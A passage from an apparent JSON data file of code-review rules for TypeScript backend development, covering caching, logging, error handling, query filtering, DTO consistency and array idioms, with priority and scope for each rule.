try/catch+fallback that is genuinely repeated in every child is left duplicated. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Ask: what behavior or state does the base class hold? If the answer is none, prefer composition/utilities over inheritance. Exceptions: A base class is justified when it carries shared state, template-method workflow, or a polymorphic contract consumed elsewhere.","whyItMatters":"The base class only wraps a stateless predicate, so inheritance buys nothing — meanwhile the try/catch+fallback that is genuinely repeated in every child is left duplicated.","priority":"p1","scope":"universal"},{"title":"Guard against duplicates before evicting from a bounded collection","rule":"When tracking items in a fixed-size sliding window, return early if the item already exists before evicting the oldest, so you neither drop a valid entry nor store duplicates.","apiRule":"When tracking items in a fixed-size sliding window, return early if the item already exists before evicting the oldest, so you neither drop a valid entry nor store duplicates. Re-tracking an item that is already in the window evicts the oldest valid entry and then stores a duplicate, so the window ends up holding the same item twice and silently dropping a good one. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Applies to any LRU-style or recent-N window backed by an array or list where the same value can be added more than once. Exceptions: Not needed when the backing structure already enforces uniqueness (e.g. a Set) or when duplicates are intentional.","whyItMatters":"Re-tracking an item that is already in the window evicts the oldest valid entry and then stores a duplicate, so the window ends up holding the same item twice and silently dropping a good one.","priority":"p1","scope":"universal"},{"title":"Short-circuit downstream calls when the id collection is empty","rule":"Return early with an empty result when a function receives an empty list of ids instead of calling a downstream API with it.","apiRule":"Return early with an empty result when a function receives an empty list of ids instead of calling a downstream API with it. With an empty `ids` array the function still issues a request, building a malformed query (e.g. an empty `in (...)` clause or `ids=`). That wastes a round trip and can throw or return unexpected data. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Prefer reusing an existing helper or matching an existing guard pattern in the same module rather than inventing a new convention. Exceptions: If the downstream call has meaningful side effects for an empty input, or its contract explicitly handles empty collections cheaply, the guard may be unnecessary.","whyItMatters":"With an empty `ids` array the function still issues a request, building a malformed query (e.g. an empty `in (...)` clause or `ids=`). That wastes a round trip and can throw or return unexpected data.","priority":"p1","scope":"universal"},{"title":"Set Cache-Control headers on cacheable GET endpoints","rule":"GET endpoints serving reference or slow-changing data should set explicit Cache-Control headers instead of leaving caching implicit.","apiRule":"GET endpoints serving reference or slow-changing data should set explicit Cache-Control headers instead of leaving caching implicit. Without Cache-Control, clients and CDNs can't cache the response, so every request hits the origin even though the data changes slowly. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. For user-specific or sensitive data use 'private' or 'no-store'; reserve 'public' for shared, non-personalized responses.","whyItMatters":"Without Cache-Control, clients and CDNs can't cache the response, so every request hits the origin even though the data changes slowly.","priority":"p2","scope":"universal"},{"title":"Declare a primary key on every table schema","rule":"ORM/SQL table definitions should declare a primary key, consistent with sibling tables; a missing PK is an easy-to-miss correctness gap.","apiRule":"ORM/SQL table definitions should declare a primary key, consistent with sibling tables; a missing PK is an easy-to-miss correctness gap. Without a primary key the schema can't express row identity. Upserts, dedupe, and tooling that relies on a PK will misbehave, and it's inconsistent with sibling tables that do declare one. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. When adding a new table, copy the conventions of an existing comparable table in the same schema folder rather than defining columns in isolation.","whyItMatters":"Without a primary key the schema can't express row identity. Upserts, dedupe, and tooling that relies on a PK will misbehave, and it's inconsistent with sibling tables that do declare one.","priority":"p1","scope":"universal"},{"title":"Don't override an existing column via a join without a documented reason","rule":"If the base table already has the column, an extra join that overrides it is either redundant or needs a comment explaining the data-quality reason.","apiRule":"If the base table already has the column, an extra join that overrides it is either redundant or needs a comment explaining the data-quality reason. Overriding a column the base table already provides looks like a mistake. A reviewer can't tell whether the join is redundant or there's a real reason, so they'll either flag it or revert it. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: A documented data-quality reason (base column unreliable/empty) is a valid justification — just write it down.","whyItMatters":"Overriding a column the base table already provides looks like a mistake. A reviewer can't tell whether the join is redundant or there's a real reason, so they'll either flag it or revert it.","priority":"p2","scope":"universal"},{"title":"Apply caching consistently across primary and fallback data sources","rule":"If the primary data provider caches results, the fallback provider on the same path should cache too, so behavior is consistent regardless of which source served the request.","apiRule":"If the primary data provider caches results, the fallback provider on the same path should cache too, so behavior is consistent regardless of which source served the request. When the primary source fails or returns nothing, every request hits the uncached fallback directly. Under load this can hammer the fallback dependency and gives inconsistent latency/freshness depending on which source answered. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Verify the fallback path's caching explicitly during review; it is easy to add caching to the happy path and forget the fallback.","whyItMatters":"When the primary source fails or returns nothing, every request hits the uncached fallback directly. Under load this can hammer the fallback dependency and gives inconsistent latency/freshness depending on which source answered.","priority":"p2","scope":"universal"},{"title":"Mutate the existing array when grouping into a Map, don't spread-copy each push","rule":"Append to the array already stored in the Map rather than replacing it with a spread-built copy on every iteration.","apiRule":"Append to the array already stored in the Map rather than replacing it with a spread-built copy on every iteration. Each iteration copies the whole existing array into a new one via spread, making grouping O(n^2) for large inputs and creating churn for the garbage collector. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Spreading is fine for a one-off small array or when immutability is required; the concern is repeated copying inside a loop. Balance against prefer-non-mutating-array-truncation: mutate in place when appending into a Map-grouped accumulator you own locally, to avoid per-push copies.","whyItMatters":"Each iteration copies the whole existing array into a new one via spread, making grouping O(n^2) for large inputs and creating churn for the garbage collector.","priority":"p2","scope":"universal"},{"title":"Cache reads/writes must degrade gracefully, not crash the request","rule":"Isolate cache get/set/parse in their own try/catch so a cache outage or corrupt entry falls back to a fresh fetch with a warning instead of failing the whole operation.","apiRule":"Isolate cache get/set/parse in their own try/catch so a cache outage or corrupt entry falls back to a fresh fetch with a warning instead of failing the whole operation. Any failure in the cache get, parse, or set takes down the whole call, even though the request could have succeeded by just fetching fresh data. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: If a cache is a hard correctness dependency (e.g. distributed lock), a failure there may legitimately need to abort — but that should be a deliberate, documented choice. Balance against do-not-silently-default-on-error-for-critical-values: degrade gracefully on cache miss/corruption only by falling through to the real source, never by inventing a value.","whyItMatters":"Any failure in the cache get, parse, or set takes down the whole call, even though the request could have succeeded by just fetching fresh data.","priority":"p1","scope":"universal"},{"title":"Use a timezone-aware date library instead of hand-rolled tz math","rule":"Prefer a dedicated timezone-aware date utility over manual Date string building and locale conversions for cross-timezone conversions.","apiRule":"Prefer a dedicated timezone-aware date utility over manual Date string building and locale conversions for cross-timezone conversions. Splicing today's date onto a time string and round-tripping through toLocaleTimeString is fragile: it mishandles DST boundaries, date rollovers, and malformed input. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Trivial, fixed-offset formatting where no DST or locale concerns apply may not need a library.","whyItMatters":"Splicing today's date onto a time string and round-tripping through toLocaleTimeString is fragile: it mishandles DST boundaries, date rollovers, and malformed input.","priority":"p2","scope":"universal"},{"title":"Open and close external connections via lifecycle hooks","rule":"Own the DB/pool connection lifecycle in a dedicated provider using onModuleInit/onModuleDestroy so resources are released gracefully on shutdown.","apiRule":"Own the DB/pool connection lifecycle in a dedicated provider using onModuleInit/onModuleDestroy so resources are released gracefully on shutdown. The pool is created as a side effect and never closed. On shutdown connections leak, and the wiring is buried in the module definition. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Applies to any external resource with open/close semantics: DB pools, message-queue clients, websocket connections, file handles.","whyItMatters":"The pool is created as a side effect and never closed. On shutdown connections leak, and the wiring is buried in the module definition.","priority":"p1","scope":"universal"},{"title":"Tag OpenAPI/Swagger endpoints by domain, not a generic label","rule":"Group controllers in API docs under a meaningful domain tag (e.g. 'Portfolio'), never a catch-all like 'API'.","apiRule":"Group controllers in API docs under a meaningful domain tag (e.g. 'Portfolio'), never a catch-all like 'API'. A generic 'API' tag dumps every controller into one section of the docs, so consumers can't navigate by feature. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"A generic 'API' tag dumps every controller into one section of the docs, so consumers can't navigate by feature.","priority":"p2","scope":"universal"},{"title":"Don't create barrel index files that nothing uses","rule":"Add a barrel (index.ts) only when it provides a real, used public entry point; otherwise import modules directly.","apiRule":"Add a barrel (index.ts) only when it provides a real, used public entry point; otherwise import modules directly. The barrel re-exports DTOs nobody imports through it. It adds an unused indirection layer and can defeat tree-shaking. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. A barrel is justified for a published package's public API or when many external callers genuinely import from one entry point. Exceptions: Public package entry points and genuinely shared facades where a single import path is the intended contract.","whyItMatters":"The barrel re-exports DTOs nobody imports through it. It adds an unused indirection layer and can defeat tree-shaking.","priority":"p2","scope":"universal"},{"title":"Select only the columns your code actually uses","rule":"Project only the database columns the consuming code needs; don't add fields speculatively.","apiRule":"Project only the database columns the consuming code needs; don't add fields speculatively. Three columns are fetched but never read. The query implies they matter, costs extra IO, and misleads the next reader about the data contract. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Same principle applies to over-broad DTOs and API responses: expose what is used, not what might be used someday. Exceptions: A deliberately stable wire/contract shape that intentionally includes optional fields for forward compatibility.","whyItMatters":"Three columns are fetched but never read. The query implies they matter, costs extra IO, and misleads the next reader about the data contract.","priority":"p2","scope":"universal"},{"title":"Push filtering predicates into the query, not into in-memory loops","rule":"When the data store can express a filter, add it to the query instead of fetching everything and filtering in application code.","apiRule":"When the data store can express a filter, add it to the query instead of fetching everything and filtering in application code. The store returns every record over the wire and the process discards most of them. This wastes bandwidth and memory, ignores available indexes, and is easy to get wrong as the dataset grows. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Applies to SQL WHERE clauses, ElasticSearch filters, MongoDB queries, and any API that accepts server-side filter params. Pass the filter value down through the call chain so the lowest data-access layer can apply it. Exceptions: Filtering in memory is acceptable when the predicate cannot be expressed by the store, the result set is already small and bounded, or you need post-fetch logic that depends on derived/aggregated values.","whyItMatters":"The store returns every record over the wire and the process discards most of them. This wastes bandwidth and memory, ignores available indexes, and is easy to get wrong as the dataset grows.","priority":"p1","scope":"universal"},{"title":"Don't duplicate the same fields across response levels","rule":"Avoid repeating identical data at both top level and inside a nested object; expose each field in one authoritative place.","apiRule":"Avoid repeating identical data at both top level and inside a nested object; expose each field in one authoritative place. id, logoUrl and the company name appear both at the top level and inside `instrument`; only `fullName` is genuinely new. Clients can't tell which copy is authoritative and the payload is larger than needed. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: A nested object is justified when it represents a distinct, separately-fetchable resource clients need as a self-contained unit - not just to re-list fields already present at the top.","whyItMatters":"id, logoUrl and the company name appear both at the top level and inside `instrument`; only `fullName` is genuinely new. Clients can't tell which copy is authoritative and the payload is larger than needed.","priority":"p2","scope":"universal"},{"title":"Keep doc comments accurate to the function's real behavior","rule":"Doc comments must describe what the code actually does, including all branches; update them whenever behavior changes.","apiRule":"Doc comments must describe what the code actually does, including all branches; update them whenever behavior changes. The comment only mentions the 'currently live' case, but the function also returns the next upcoming call. A reader trusting the comment would assume scheduled calls are excluded, which is wrong. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. When you fix a bug or change behavior, scan the surrounding doc comments and update them in the same change.","whyItMatters":"The comment only mentions the 'currently live' case, but the function also returns the next upcoming call. A reader trusting the comment would assume scheduled calls are excluded, which is wrong.","priority":"p2","scope":"universal"},{"title":"Handle invalid input consistently across methods that share the same check","rule":"When several methods validate the same kind of input, they must agree on what happens for invalid input — don't have one path throw while another silently returns empty.","apiRule":"When several methods validate the same kind of input, they must agree on what happens for invalid input — don't have one path throw while another silently returns empty. The same invalid id produces two different behaviors depending on which method is entered first — `getById` returns `[]`, but if `buildKey` is reached it throws. Callers can't predict the contract. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. If you prefer the throwing contract, then the lookup methods should throw too — the point is consistency, not which strategy you pick. Document the chosen contract on the interface.","whyItMatters":"The same invalid id produces two different behaviors depending on which method is entered first — `getById` returns `[]`, but if `buildKey` is reached it throws. Callers can't predict the contract.","priority":"p1","scope":"universal"},{"title":"Remove hardcoded placeholder responses from request handlers before merging","rule":"Don't leave stub/mock return values in controllers or handlers; wire them to the real service or remove the endpoint.","apiRule":"Don't leave stub/mock return values in controllers or handlers; wire them to the real service or remove the endpoint. The handler returns a fabricated object instead of delegating to a service, so the endpoint silently serves fake data. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"The handler returns a fabricated object instead of delegating to a service, so the endpoint silently serves fake data.","priority":"p1","scope":"universal"},{"title":"Disable ANSI colors in logger output for non-interactive environments","rule":"Turn off colorized log output when logs are written to files or shipped to aggregators, since ANSI escape codes corrupt non-TTY output.","apiRule":"Turn off colorized log output when logs are written to files or shipped to aggregators, since ANSI escape codes corrupt non-TTY output. With colors left on by default, file and aggregator output is littered with raw ANSI escape sequences that hurt readability and parsing. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example. Exceptions: Colors are fine (and helpful) for local development when output goes to an interactive terminal (TTY).","whyItMatters":"With colors left on by default, file and aggregator output is littered with raw ANSI escape sequences that hurt readability and parsing.","priority":"p2","scope":"stack-specific"},{"title":"Use a class-scoped named logger instead of static logger calls","rule":"Create a per-class logger instance with the class name as context so every log line is prefixed with its source.","apiRule":"Create a per-class logger instance with the class name as context so every log line is prefixed with its source. The static call emits a log line with no source context, so you can't tell which class produced it when scanning logs. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Using ClassName.name (rather than a hardcoded string) keeps the context correct after renames.","whyItMatters":"The static call emits a log line with no source context, so you can't tell which class produced it when scanning logs.","priority":"p1","scope":"stack-specific"},{"title":"Don't use @Inject when the DI container can infer the token from the type","rule":"Drop @Inject() for constructor params whose class type is itself a resolvable provider token; reserve it for interfaces, primitives, and named/custom providers.","apiRule":"Drop @Inject() for constructor params whose class type is itself a resolvable provider token; reserve it for interfaces, primitives, and named/custom providers. The class type already serves as the injection token, so @Inject is pure noise and implies a non-standard resolution is happening. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example. Exceptions: Keep @Inject (or @Inject(TOKEN)) when injecting by interface, primitive value, or a named/custom provider token that cannot be inferred from the TypeScript type.","whyItMatters":"The class type already serves as the injection token, so @Inject is pure noise and implies a non-standard resolution is happening.","priority":"p1","scope":"stack-specific"},{"title":"Prefer map over a push-into-array loop for independent transforms","rule":"When each iteration independently produces one output item, build the result with `map` instead of pushing into a pre-declared mutable array.","apiRule":"When each iteration independently produces one output item, build the result with `map` instead of pushing into a pre-declared mutable array. The mutable accumulator plus push adds noise; each iteration is independent and just maps one day to one result. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Keep an explicit loop when iterations depend on each other, when you need early `break`/`continue`, or when you conditionally skip items (use `flatMap`/`reduce` or filter first).","whyItMatters":"The mutable accumulator plus push adds noise; each iteration is independent and just maps one day to one result.","priority":"p2","scope":"universal"},{"title":"Guard hardcoded URL/path literals against typos and leftover edits","rule":"Literal endpoint paths aren't type-checked, so typos like 'eveqqnts' for 'events' pass compilation and break at runtime; review them and strip leftover debug edits before merge.","apiRule":"Literal endpoint paths aren't type-checked, so typos like 'eveqqnts' for 'events' pass compilation and break at runtime; review them and strip leftover debug edits before merge. A typo or leftover debugging change in a string literal endpoint is invisible to the compiler and only surfaces as a runtime failure. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"A typo or leftover debugging change in a string literal endpoint is invisible to the compiler and only surfaces as a runtime failure.","priority":"p1","scope":"universal"},{"title":"Keep a DTO field's TypeScript type consistent with its API doc annotation","rule":"When a field's Swagger/OpenAPI `type` and its TypeScript type disagree (e.g. documented number but typed string), fix the mismatch so the schema, serialization, and consumers all align.","apiRule":"When a field's Swagger/OpenAPI `type` and its TypeScript type disagree (e.g. documented number but typed string), fix the mismatch so the schema, serialization, and consumers all align. The OpenAPI schema advertises a number while the property is typed as a string, so generated clients and runtime serialization disagree with the documentation. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"The OpenAPI schema advertises a number while the property is typed as a string, so generated clients and runtime serialization disagree with the documentation.","priority":"p1","scope":"universal"},{"title":"Don't narrow a union return type just to avoid casts","rule":"If a function can genuinely return T or T[], keep the union (or use overloads); narrowing the signature to T to skip `as` casts hides runtime array cases from the type checker.","apiRule":"If a function can genuinely return T or T[], keep the union (or use overloads); narrowing the signature to T to skip `as` casts hides runtime array cases from the type checker. The signature claims a single T while the implementation can still produce an array. Callers lose the type warning and can dereference array results as if they were objects. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: If the function provably returns only a single object for the given inputs, refactor the implementation to match the narrow type instead of just changing the annotation.","whyItMatters":"The signature claims a single T while the implementation can still produce an array. Callers lose the type warning and can dereference array results as if they were objects.","priority":"p1","scope":"universal"},{"title":"Pair every cache read with a cache write in cache-aside code","rule":"When you add a cache lookup with an early return, also store the freshly computed value back to the cache; a get without a set means every request is a miss.","apiRule":"When you add a cache lookup with an early return, also store the freshly computed value back to the cache; a get without a set means every request is a miss. The early-return reads from the cache but nothing ever writes to it, so the cache stays empty and the expensive computation runs on every request. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"The early-return reads from the cache but nothing ever writes to it, so the cache stays empty and the expensive computation runs on every request.","priority":"p1","scope":"universal"},{"title":"Propagate errors from fetch loops instead of logging and breaking","rule":"Don't swallow errors inside pagination/retry loops by logging and breaking; re-throw so callers see the failure rather than silently truncated data.","apiRule":"Don't swallow errors inside pagination/retry loops by logging and breaking; re-throw so callers see the failure rather than silently truncated data. Catching, logging, and breaking turns a fetch failure into a truncated-but-successful-looking result. The caller cannot tell the data is incomplete. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: If partial results are explicitly acceptable, document it and signal the truncation to the caller (e.g. return a `{ data, complete: false }` shape) rather than swallowing it.","whyItMatters":"Catching, logging, and breaking turns a fetch failure into a truncated-but-successful-looking result. The caller cannot tell the data is incomplete.","priority":"p0","scope":"universal"},{"title":"Perform a cache lookup once per request path","rule":"Don't read the same cache key twice in one method. A single lookup-then-populate flow avoids redundant round-trips and divergent behavior between the two checks.","apiRule":"Don't read the same cache key twice in one method. A single lookup-then-populate flow avoids redundant round-trips and divergent behavior between the two checks. Two reads of the same key add an extra round-trip and create two places that can drift apart in their logging or return logic, confusing future readers. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Two reads of the same key add an extra round-trip and create two places that can drift apart in their logging or return logic, confusing future readers.","priority":"p2","scope":"universal"},{"title":"Make duration literals self-documenting with units","rule":"Bare numbers like 120_000 passed as TTLs/timeouts hide their unit and invite seconds-vs-milliseconds bugs. Name the constant with a unit suffix or compute it from labeled factors.","apiRule":"Bare numbers like 120_000 passed as TTLs/timeouts hide their unit and invite seconds-vs-milliseconds bugs. Name the constant with a unit suffix or compute it from labeled factors. A raw magic number gives no hint of its unit, so readers can't tell whether the TTL is 2 minutes or ~33 hours, and a unit mismatch with the API silently produces the wrong expiry. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Always confirm the unit the target API expects (e.g. cache-manager v4 used seconds, v5+ uses milliseconds) — the constant name must match reality.","whyItMatters":"A raw magic number gives no hint of its unit, so readers can't tell whether the TTL is 2 minutes or ~33 hours, and a unit mismatch with the API silently produces the wrong expiry.","priority":"p2","scope":"universal"},{"title":"Distinct named imports must resolve to their intended distinct modules","rule":"Watch for copy-paste import bugs where several differently-named imports all point at the same file. Each alias should resolve to the module it claims to load.","apiRule":"Watch for copy-paste import bugs where several differently-named imports all point at the same file. Each alias should resolve to the module it claims to load. This compiles fine but silently loads the same module three times, so apiConfig and dbConfig are not the configs the author intended — a runtime bug the type system won't catch. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"This compiles fine but silently loads the same module three times, so apiConfig and dbConfig are not the configs the author intended — a runtime bug the type system won't catch.","priority":"p1","scope":"universal"},{"title":"Validate or default required connection config before building a connection string","rule":"Interpolating possibly-undefined env vars into a connection string yields 'undefined' segments and cryptic connect failures. Validate required values (or provide explicit defaults) first.","apiRule":"Interpolating possibly-undefined env vars into a connection string yields 'undefined' segments and cryptic connect failures. Validate required values (or provide explicit defaults) first. A missing env var stringifies to 'undefined' inside the template, producing an invalid URL and an opaque connection error far from the real cause. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: If a centralized env-validation step already asserts these variables at startup, re-checking at the call site is redundant.","whyItMatters":"A missing env var stringifies to 'undefined' inside the template, producing an invalid URL and an opaque connection error far from the real cause.","priority":"p1","scope":"universal"},{"title":"Use the application's structured logger instead of console.*","rule":"In apps that provide a structured/leveled logger, route all logs through it rather than console.log/console.error so output is leveled, formatted, and centrally configurable.","apiRule":"In apps that provide a structured/leveled logger, route all logs through it rather than console.log/console.error so output is leveled, formatted, and centrally configurable. console.error ignores the application's logging configuration — log level, formatting, context labels, and transports (file, JSON, log aggregation) are all lost. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example. Exceptions: Quick local debugging scripts, build tooling, or code that runs before the logger is initialized may legitimately use console.*.","whyItMatters":"console.error ignores the application's logging configuration — log level, formatting, context labels, and transports (file, JSON, log aggregation) are all lost.","priority":"p2","scope":"stack-specific"},{"title":"Preserve the original error when logging or re-throwing","rule":"Don't discard the caught error. Include its message (and stack/cause) in the log and in any wrapper error so failures stay diagnosable.","apiRule":"Don't discard the caught error. Include its message (and stack/cause) in the log and in any wrapper error so failures stay diagnosable. Both the log line and the thrown error throw away the original error, so there is no message, stack, or root cause to debug from — every failure looks identical. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: When deliberately mapping an internal error to a sanitized client-facing message, keep the original in server logs/cause but do not leak it in the API response.","whyItMatters":"Both the log line and the thrown error throw away the original error, so there is no message, stack, or root cause to debug from — every failure looks identical.","priority":"p1","scope":"universal"},{"title":"Build lookup Maps with the Map constructor and entry tuples","rule":"Prefer `new Map(items.map(x => [x.key, x]))` over an imperative for-loop with repeated map.set calls to build a lookup Map.","apiRule":"Prefer `new Map(items.map(x => [x.key, x]))` over an imperative for-loop with repeated map.set calls to build a lookup Map. Allocating an empty Map and mutating it in a loop is three lines of boilerplate for a transformation that is a single expression. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: If keys can collide and you need custom merge logic (e.g. keep the first occurrence, or combine values), the explicit loop is clearer. Balance against prefer-record-over-map-for-simple-indexing: when you do build a Map, construct it from entry tuples rather than a mutating for-loop.","whyItMatters":"Allocating an empty Map and mutating it in a loop is three lines of boilerplate for a transformation that is a single expression.","priority":"p2","scope":"universal"},{"title":"Don't keep mutable per-request state on a singleton","rule":"Avoid storing per-request query/filter state on a shared singleton; build it locally or create a fresh instance per call.","apiRule":"Avoid storing per-request query/filter state on a shared singleton; build it locally or create a fresh instance per call. A singleton instance shared across requests stores filter state on the instance, so concurrent calls overwrite each other's clauses. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Balance against reuse-singleton-services-not-per-call-instantiation: build locally only the per-request state; keep the stateless client itself a reused singleton.","whyItMatters":"A singleton instance shared across requests stores filter state on the instance, so concurrent calls overwrite each other's clauses.","priority":"p1","scope":"universal"},{"title":"Prefer non-mutating slice over in-place splice for truncation","rule":"Use slice to take the first N elements instead of splice, which mutates the original array and can cause hidden side effects.","apiRule":"Use slice to take the first N elements instead of splice, which mutates the original array and can cause hidden side effects. splice mutates the source array in place and returns the discarded elements, which is easy to misread and dangerous if `events` is shared. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. In-place truncation is acceptable only when the array is provably local and never read again afterwards. Exceptions: Balance against push-into-grouped-map-array-not-spread: prefer non-mutating slice for truncating a shared/returned array where immutability matters.","whyItMatters":"splice mutates the source array in place and returns the discarded elements, which is easy to misread and dangerous if `events` is shared.","priority":"p2","scope":"universal"},{"title":"Keep JSDoc @returns in sync with the actual return type","rule":"Update doc comments when signatures change so @returns/@param describe the real types, not stale ones.","apiRule":"Update doc comments when signatures change so @returns/@param describe the real types, not stale ones. The doc promises an array while the method returns a Map-or-null, so anyone reading the comment is actively misled. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"The doc promises an array while the method returns a Map-or-null, so anyone reading the comment is actively misled.","priority":"p2","scope":"universal"},{"title":"Name methods to match their return cardinality","rule":"Use plural names for methods returning collections and singular names for single values, so the signature reads honestly.","apiRule":"Use plural names for methods returning collections and singular names for single values, so the signature reads honestly. The singular `getInstrument` returns an array, so callers expect one value and must re-read the body to learn the truth. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"The singular `getInstrument` returns an array, so callers expect one value and must re-read the body to learn the truth.","priority":"p2","scope":"universal"},{"title":"Avoid redundant overlapping validation decorators","rule":"Don't combine validators whose checks are subsumed by a stricter one (e.g. @IsString on top of @IsEnum).","apiRule":"Don't combine validators whose checks are subsumed by a stricter one (e.g. @IsString on top of @IsEnum). `@IsEnum` already restricts the value to the enum's string members, so `@IsString` is dead weight that suggests a looser contract than exists. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"`@IsEnum` already restricts the value to the enum's string members, so `@IsString` is dead weight that suggests a looser contract than exists.","priority":"p2","scope":"universal"},{"title":"Guard external service calls with error handling and logging","rule":"Wrap API/datastore calls in try-catch, log with context, and return a safe fallback or rethrow a meaningful error.","apiRule":"Wrap API/datastore calls in try-catch, log with context, and return a safe fallback or rethrow a meaningful error. A connection failure throws an unhandled error with no context, surfacing as a generic 500 with nothing useful in the logs. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Choose fallback vs rethrow per endpoint: returning an empty result can hide outages, so prefer rethrow unless a degraded response is genuinely acceptable. A global error interceptor can cover this instead of per-method try-catch. Exceptions: Balance against do-not-silently-default-on-error-for-critical-values: catch and return a safe fallback only for non-critical paths where a default is semantically valid.","whyItMatters":"A connection failure throws an unhandled error with no context, surfacing as a generic 500 with nothing useful in the logs.","priority":"p1","scope":"universal"},{"title":"Use object property shorthand when names match","rule":"Write `{ x }` instead of `{ x: x }` when the variable name equals the property name.","apiRule":"Write `{ x }` instead of `{ x: x }` when the variable name equals the property name. Repeating each name on both sides is redundant and makes the object harder to scan. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Repeating each name on both sides is redundant and makes the object harder to scan.","priority":"p2","scope":"universal"},{"title":"Justify every linter-disable comment with a real reason","rule":"Replace placeholder suppression comments with a concrete explanation of why the rule is disabled at that line.","apiRule":"Replace placeholder suppression comments with a concrete explanation of why the rule is disabled at that line. The placeholder text adds no information; nobody can later judge whether the suppression is still warranted. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Applies equally to eslint-disable, ts-expect-error, and similar directives.","whyItMatters":"The placeholder text adds no information; nobody can later judge whether the suppression is still warranted.","priority":"p2","scope":"universal"},{"title":"Don't inject a dependency you never use","rule":"Either call an injected dependency through its API or remove it from the constructor; unused injections mislead readers.","apiRule":"Either call an injected dependency through its API or remove it from the constructor; unused injections mislead readers. `configService` is injected but bypassed in favour of `process.env`, leaving readers unsure which path is authoritative. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"`configService` is injected but bypassed in favour of `process.env`, leaving readers unsure which path is authoritative.","priority":"p2","scope":"universal"},{"title":"Derive cache keys from all inputs that affect the result","rule":"Build cache keys from every parameter that changes the response, not a fixed string, to avoid cache collisions across filters.","apiRule":"Build cache keys from every parameter that changes the response, not a fixed string, to avoid cache collisions across filters. A fixed key means a request filtered by `country=US` and an unfiltered request share the same cache entry, so callers receive data for the wrong filter. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Keep keys deterministic: sort/normalize multi-value params so logically equal requests map to the same key.","whyItMatters":"A fixed key means a request filtered by `country=US` and an unfiltered request share the same cache entry, so callers receive data for the wrong filter.","priority":"p1","scope":"universal"},{"title":"Don't await synchronous, non-Promise values","rule":"Awaiting a value that isn't a Promise is a no-op; drop the await or make the callee return a Promise.","apiRule":"Awaiting a value that isn't a Promise is a no-op; drop the await or make the callee return a Promise. await on a synchronous value resolves it immediately and yields the same value; it does no real waiting. It misleads readers into thinking runJob is asynchronous and adds an unnecessary microtask. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Avoid leaving justifying comments like 'awaiting a sync function is harmless' — remove the await instead. TypeScript's await-thenable lint rule flags this. Exceptions: Awaiting a possibly-thenable value of unknown type (e.g. a return typed as `T 